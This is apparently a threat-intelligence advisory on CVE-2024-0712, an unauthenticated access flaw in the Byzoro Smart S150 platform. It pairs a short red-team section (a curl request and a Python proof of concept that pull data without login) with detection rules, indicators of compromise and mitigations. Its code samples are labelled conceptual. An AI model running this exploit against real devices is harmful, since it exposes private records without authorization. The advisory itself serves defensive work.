CVE-2024-0712

Executive Summary

CVE-2024-0712 is a critical improper access control vulnerability in the Byzoro Smart S150 Management Platform, specifically in version V31R02B15. The flaw resides in the /useratte/inc/userattea.php file, allowing remote attackers to bypass authentication and access restricted functionality. With a CVSS score of 7.3, this vulnerability poses a significant risk to network infrastructure management systems. The vendor has not responded to disclosure attempts, and no official patch is available. Public exploit code has been released, increasing the urgency for defensive measures.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded management platform.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.3 (HIGH)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: HIGH. The vulnerability is remotely exploitable without authentication, and public exploit code exists. The lack of vendor response and patch increases the risk of widespread exploitation.

Deep Dive & Mechanics

The vulnerability exists in the /useratte/inc/userattea.php script of the Byzoro Smart S150 Management Platform. This file is part of the user attendance management module. The improper access control (CWE-284) allows an unauthenticated attacker to directly access this script, bypassing the intended authentication checks. The script likely performs sensitive operations such as reading or modifying user attendance records, device configurations, or other administrative functions.

The root cause is the absence of proper session validation or authorization checks before executing the script's logic. Attackers can send crafted HTTP requests to the vulnerable endpoint to retrieve sensitive data or perform unauthorized actions. The exploit has been publicly disclosed, making it trivial for adversaries to replicate.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /useratte/inc/userattea.php
// No authentication check
$action = $_GET['action'];
if ($action == 'getData') {
    $data = queryDatabase("SELECT * FROM attendance");
    echo json_encode($data);
}
?>

Patched Code (Conceptual):

<?php
// /useratte/inc/userattea.php
session_start();
if (!isset($_SESSION['user']) || $_SESSION['role'] != 'admin') {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied');
}
$action = $_GET['action'];
if ($action == 'getData') {
    $data = queryDatabase("SELECT * FROM attendance");
    echo json_encode($data);
}
?>

The patched version adds session validation and role-based access control before processing any request.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Byzoro Smart S150 Management Platform V31R02B15
• Network access to the management interface (typically port 80/443)

Exploitation Steps:

1. Identify the target: https://target-ip/useratte/inc/userattea.php
2. Send a crafted request to exploit the improper access control:

curl -k "https://target-ip/useratte/inc/userattea.php?action=getData"

3. The server responds with sensitive data (e.g., attendance records, user lists) without authentication.

Proof-of-Concept (PoC) Script:

import requests
import sys

target = sys.argv[1]
url = f"https://{target}/useratte/inc/userattea.php?action=getData"
response = requests.get(url, verify=False)
if response.status_code == 200:
    print("[+] Successfully accessed data:")
    print(response.text)
else:
    print("[-] Failed to access data")

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests to /useratte/inc/userattea.php from unauthenticated sources.
2. Deploy WAF rules to block direct access to this endpoint without valid session cookies.
3. Implement network segmentation to restrict access to the management platform.

Honeypot Setup:

• Deploy a decoy endpoint mimicking /useratte/inc/userattea.php to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /useratte/inc/userattea.php with parameters like action=getData
• Source IPs attempting to access the vulnerable endpoint without prior authentication

File IOCs:

• Presence of unauthorized access logs in /var/log/apache2/access.log or similar
• Modified configuration files in /useratte/inc/

Behavioral IOCs:

• Unusual data exfiltration from the management platform
• Multiple failed authentication attempts followed by direct access to the vulnerable script

Detection Engineering

YARA Rule

rule CVE_2024_0712_Byzoro_Smart_S150 {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0712 in Byzoro Smart S150"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0712"
    strings:
        $s1 = "/useratte/inc/userattea.php" ascii wide nocase
        $s2 = "action=getData" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0712 Byzoro Smart S150 Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint of Byzoro Smart S150
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/useratte/inc/userattea.php"
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0712 Byzoro Smart S150 Exploitation Attempt"; flow:to_server; content:"/useratte/inc/userattea.php"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Implement WAF rules to block requests to /useratte/inc/userattea.php without valid session tokens.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Since no vendor patch is available, consider replacing the Byzoro Smart S150 platform with a supported alternative.
• Apply virtual patching via a web application firewall (WAF) or reverse proxy to enforce authentication.

Workaround:

• Manually add authentication checks to the vulnerable PHP file if source code access is available (see patched code example).

Valters IT - DevSecOps & Cyber Threat Intelligence